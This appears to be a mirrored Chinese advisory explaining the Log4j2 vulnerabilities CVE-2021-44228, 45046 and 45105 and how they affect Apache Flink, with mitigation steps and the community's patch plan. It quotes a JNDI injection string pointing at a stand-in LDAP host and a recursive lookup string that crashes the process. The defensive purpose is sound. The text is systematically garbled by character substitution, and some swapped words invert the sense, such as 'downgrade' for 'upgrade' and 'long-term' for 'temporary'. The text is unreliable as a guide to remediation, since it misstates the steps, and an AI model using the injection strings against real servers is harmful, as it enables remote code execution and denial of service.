乐趣区

关于Flink:Log4j2-Zero-Day-漏洞-Apache-Flink-应对指南

本文作者俞航翔 & 李钰,具体阐明了 Log4j2 Zero Day 破绽的影响,以及 Flink 社区的应答计划。次要内容包含:

  1. 破绽阐明
  2. Flink 用户可能受到的影响
  3. 受影响的 Flink 版本和长期解决方案
  4. Flink 社区修复打算

概述

Apache Log4j 是基于 Java 的日志记录工具,Apache Log4j2 重写了 Log4j 并减少了很多丰盛的个性。最近,由阿里云平安报告了 Apache log4j2 的 Zero Day 破绽 [1],基于该破绽,攻击者能够结构歹意申请,触发近程代码执行破绽,目前该破绽被 CVE-2021-44228[2] 追踪。Log4j 团队在发现该问题后马上公布了 2.15.0 版本,并给出了长期解决方案。

12 月 14 日,来自 Twitter 公司的团队发现并且报告了一个新的破绽问题:CVE-2021-45046[17]。该破绽示意 2.15.0 中对 CVE-2021-44228 的修复以及给出的长期解决方案并不齐备,在某些配置条件下仍然会被利用导致 DOS 攻打。随后 Log4j 团队又公布了 2.16.0 版本,并举荐受影响的软件降级至该版本,同时给出了新的长期解决方案。

上述破绽的影响版本范畴为 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中应用的是 Log4j 1.x 版本,能够认为不受影响。而 1.11 及以上版本中应用了 Log4j 2.x 版本,且均在受影响范畴内。

12 月 16 号,无关 Apache Log4j 的一个新的破绽问题被提出 [18],通过验证后 CVE-2021-45105[19] 于 12 月 18 号公布。该破绽进一步示意 2.16.0 版本及 CVE-2021-45046 的长期修复计划在某些配置条件下仍然有被 DOS 攻打的危险。随后,Log4j 团队马上公布了 2.17.0 版本,并给出了新的长期修复计划。

上述破绽的影响版本范畴为 2.0-beta9 到 2.16.0。

接下来咱们将首先简要论述破绽的细节和影响,而后会特地阐明该破绽对 Flink 用户可能产生的影响,最初将具体介绍 Flink 用户对该破绽可采纳的长期解决方案和 Flink 社区的修复打算。

一、破绽阐明

CVE-2021-44228

这个破绽能够追溯到 Log4j 早年间引入的一个 Feature。2013 年,Log4j 在 2.0-beta9 版本 [3] 中增加了“JNDILookup plugin”[4] 性能。

Java 在 1990 年之后引入了 JNDI 作为一种目录服务,让 Java 程序能够以 Java 对象的模式通过目录查找数据。JNDI 提供了多种 SPI 反对不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (近程办法接口) Registry 和 LDAP (轻量级目录拜访协定)。这些都是可能被 CVE-2021-44228/45046 破绽利用的服务。
Java 程序能够联合应用 JNDI 和 LDAP 来查找蕴含可能须要的数据的 Java 对象。例如,在规范 Java 文档中有一个与 LDAP 服务器通信以检索对象属性的示例。即应用“ldap://localhost:389/o=JNDITutorial”这个 URL 从运行在同一台机器 (localhost) 上的端口为 389 的 LDAP 服务器中查找 JNDITutorial 对象,并持续从中读取属性。
依据 JNDI 官网帮忙文档形容“如果您的 LDAP 服务器位于另一台机器上或正在应用另一个端口,那么您须要编辑 LDAP URL”,LDAP 服务器能够在不同的机器上运行,也能够在 Internet 上的任何中央运行。这种灵活性意味着如果攻击者可能管制 LDAP URL,他们就可能让 Java 程序从他们管制的服务器加载对象。

在 Log4j 蕴含破绽的版本中,攻击者能够通过传入相似“${jndi:ldap://example.com/a}”模式的字符串来管制 Log4j 拜访的 LDAP URL。在这种状况下,Log4j 将连贯到 example.com 上的 LDAP 服务器并检索对象。

Log4j 对“${prefix:name}”模式有非凡的语法解释,其中 prefix 是 Log4j 提供的多种 Lookups<sup>[5]</sup> 中的一种,name 则对应在该 Lookup 下的一种执行属性。例如,${java:version} 是以后运行的 Java 版本。
而 LOG4J-313 减少的 JndiLookup 提供了通过 JNDI 检索变量的能力。在默认状况下,key 将以“java:comp/env/”这种模式作为 prefix。但当 key 中自身就蕴含额定的 “:” 时,则解析不到正确的 prefix 模式。例如字符串“${jndi:ldap://example.com/a}”传入时,Log4j 将检测不到正确的 prefix,因为 Message Lookup 机制,其行为会变成在 LDAP 服务器中查问指标对象。

因而,攻击者只须要找到一个可能被打印的输出并在其中增加相似“${jndi:ldap://example.com/a}”的字符串。比方攻击者可能将攻打字符串插入到相似 User-Agent 的 HTTP header 中、相似 username 的表单参数中等。

这种形式在基于 Java 的面向 Internet 的利用中很常见。更令人窒息的是, 这种数据可能会从一个零碎传递到另一个零碎中,导致应用 Java 的非面向 Internet 的利用也会中招。

例如,一个利用该破绽的 User-Agent 的字符串能够传递到应用 Java 编写的后端系统中,该零碎可能会基于破绽数据建设索引或数据分析,而这些过程中破绽数据有可能也会被 Log4j 打印,进而造成重大的影响。 因而,所有应用 Log4j2 的基于 Java 开发的软件都应该进行马上采取修补措施,否则潜在的威逼很大。即便面向 Internet 的软件不是用 Java 编写的,歹意字符串也有可能会被传递到其余应用 Java 编写的零碎中从而产生重大问题。 例如一个基于 Java 编写的记账零碎,它可能在找不到客户的名字时进行打印。而攻击者能够创立一个蕴含破绽信息的客户名字的订单,而该破绽信息很可能会在 Web 服务器、数据库系统中传递并最初进入账单零碎中,链路中的各个系统都可能受到影响。

此外,Java 除了在面向 Internet 的零碎中应用外,也在很多其余场景中被应用。例如一个包裹解决零碎上的 QR 码或者一个非接触式门的电子钥匙,如果它们用 Java 编写并应用了 Log4j,那么都很有可能被攻打。一个精心制作的二维码可能蕴含一个破绽信息的邮政地址,一个精心编码的电子钥匙可能带有破绽利用的恶意程序,间接跟踪咱们的进出的记录。

还有一些蕴含定时工作的零碎可能不会马上解决该破绽信息,在该定时工作汇总、存档过程打印该歹意字符串之前,该破绽可能会始终处于休眠状态。而在数小时甚至数天后才会触发到该破绽并造成重大影响。

CVE-2021-45046

这个破绽由 Twitter 发现。2.15.0 版本对 CVE-2021-44228 的修复和 Log4j 团队之前给出的倡议并不能完全避免该破绽的影响。其起因是当日志配置中应用了一些非默认的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 时,攻击者能够利用该模式注入歹意数据。

如果日志配置中存在上述的 Pattern Layout,基于“log4j2.formatMsgNoLookups=true”的计划并不能阻止歹意数据利用 JndiLookup 去触发 CVE-2021-44228,即便 2.15.0 中限度 JNDI LDAP Lookup 的范畴在 Localhost,仍然会面临 DOS 攻打的危险。

CVE-2021-45105

该破绽表明,Log4j 2.16.0 版本基于 CVE-2021-45046 的修复和长期解决方案下仍然存在被 DOS 攻打的危险。其起因是当日志配置中应用了 Context lookup 这种非默认的 Pattern Layout 时(如 $${ctx:loginId}`),攻击者能够在 Thread Context Map 中退出歹意的数据(如 `${${::-${::-$${::-j}}}})从而触发有限循环地 Lookup,进一步因为 StackOverflowError 导致过程终止。

如果日志配置中存在上述的 Pattern Layout,基于“log4j2.formatMsgNoLookups=true”和 “remove JndiLookup.class” 的计划并不能阻止歹意数据触发 CVE-2021-45105,因为该破绽的本源产生在 String Substitution 过程中。

二、Flink 用户可能受到的影响

应用 1.11 及以上版本的 Flink,会受到该破绽的影响。如上一章节中所述,尽管大部分应用场景下 Flink 并不间接面向 Internet,但攻打字符串可能会从其余零碎间接传入到 Flink (即便其余零碎曾经做了一些防范措施) 并由 Flink 中的 UDF 进行解决, 而这个过程中的 Record 相干的打印操作就会触发该破绽 (事实上,这种打印操作在理论利用中很常见),进而造成重大影响。

以常见的日志剖析场景为例,咱们常常见到在 UDF 中打印 Record 的相干信息的操作,当攻打字符串 (如 ${jndi:ldap://example.com/a}) 从 Kafka 传递到 Flink 中被这些 UDF 解决时,会间接导致作业执行环境中的节点受到影响。相似的消息传递一方面不受报文传递加解密的限度 (UDF 在解决通过加密的音讯时会先解码),另一方面不须要 Flink 作业的提交权限而是能够间接在上游注入。因而对于 Flink 零碎,尤其是对可拜访外网且不足平安容器隔离能力的执行环境来说,具备很高的威逼。

三、受影响的 Flink 版本和长期解决方案

目前 Flink 各个已公布版本应用的 log4j 版本详情如下:

能够看到,Flink 在 1.11 及以上的版本应用的均是 2.x 的 Log4j 版本,因而均会受影响,而 1.10 及以下的版本能够认为不受影响。目前社区已积极响应修复该问题,具体修复打算将在下一章节介绍。

在社区尚未公布对应修复版本之前,须要采纳 Log4j 团队最新倡议的形式解决。

若社区已公布 Log4j 2.17.0 对应的修复版本,用户能够间接降级到最新版本,进行并重启作业后即可防止这些破绽。

若目前作业应用的 Flink 版本是 Log4j 2.16.0 对应的各个版本 (即 1.14.2,1.13.5,1.12.7,1.11.6),有两种解决方案:

  1. 在日志配置的 PatternLayout 中,将相似 ${ctx:loginId} or $${ctx:loginId} 的 Context lookup 模式替换成 Thread Context Map 模式 (如 %X, %mdc, or %MDC)
  2. 在日志配置中齐全移除掉相似 ${ctx:loginId} or $${ctx:loginId} 的 Context lookup 模式 (外围还是在于这种模式下是能够注入歹意数据并被 Log4j 解析的)

若目前作业应用的 Flink 版本是 Log4j 2.15.0 或更早的版本对应的各个版本 (即 1.14.1,1.13.4,1.12.5,1.11.4 及之前的版本),除了上述的操作外,还须要应用:

 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

将 Flink 中依赖的 log4j-core 里的 JndiLooup.class 删除,以达到 2.16.0 中禁用 JNDI 的成果。

须要留神以下三点:

  1. 该修复过程须要进行作业,在做完修复后重启。
  2. 对于 Apache Log4j 的 Zero Day 问题,尽管之前有其余的长期解决办法 [6][7],但目前只有下面的形式能完全避免该破绽的影响。
  3. 倡议在社区公布修复版本后,尽快批量降级作业至对应的版本。

四、Flink 社区修复打算

目前 Log4j 已公布了 2.15.0,2.16.0 和 2.17.0 版本,具体修复内容如下:

Flink 社区在得悉这个破绽后,马上探讨了修复打算 [14],社区先将 master 分支中 Log4j 的版本升级至 2.15.0,同时 pick 了该修复到 1.14.1,1.13.4,1.12.5,1.11.4[12],目前这些版本曾经公布,用户能够间接应用,例如:
https://search.maven.org/arti…

但思考到 Log4j 的 2.16.0 版本能力更彻底地解决该问题,社区将 master 分支中 Log4j 的版本进一步降级至 2.16.0,同时 pick 该修复到 1.14.2,1.13.5,1.12.7,1.11.6[13]。目前这些新版本的投票已实现,置信会尽快实现公布 [14][15][16]

目前对于 Log4j 2.17.0 对应修复版本的打算正在探讨中 [20][21]。在 Flink 社区公布 Log4j 2.17.0 对应的各个修复版本后,用户只须要将作业应用的 Flink 版本进行降级,即可完全避免该问题。

参考

[1] Apache Log4j Vulnerability Details and Mitigation

https://www.cyberkendra.com/2…

[2] CVE-2021-44228

https://nvd.nist.gov/vuln/det…

[3] Apache Log4j 2.0-beta9 released

https://blogs.apache.org/logg…

[4] LOG4J2-313

https://issues.apache.org/jir…

[5] LOG4J Lookups

https://logging.apache.org/lo…

[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)

https://flink.apache.org/2021…

[7] CVE-2021-44228 Solution

https://stackoverflow.com/que…

[8] LOG4J2-3198

https://issues.apache.org/jir…

[9] LOG4J2-3201

https://issues.apache.org/jir…

[10] LOG4J2-3208

https://issues.apache.org/jir…

[11] LOG4J2-3211

https://issues.apache.org/jir…

[12] Update log4j2 version to 2.15.0

https://issues.apache.org/jir…

[13] Update Log4j to 2.16.0

https://issues.apache.org/jir…

[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability

https://lists.apache.org/thre…

[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1

https://lists.apache.org/thre…

[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1

https://lists.apache.org/thre…

[17] CVE-2021-45046

https://nvd.nist.gov/vuln/det…

[18] LOG4J2-3230

https://issues.apache.org/jir…

[19] CVE-2021-45105

https://nvd.nist.gov/vuln/det…

[20] CVE-2021-45105: Apache Log4j2 does not always protect from infinite recursion in lookup evaluation

https://lists.apache.org/thre…

[21] FLINK-25375

https://issues.apache.org/jir…

退出移动版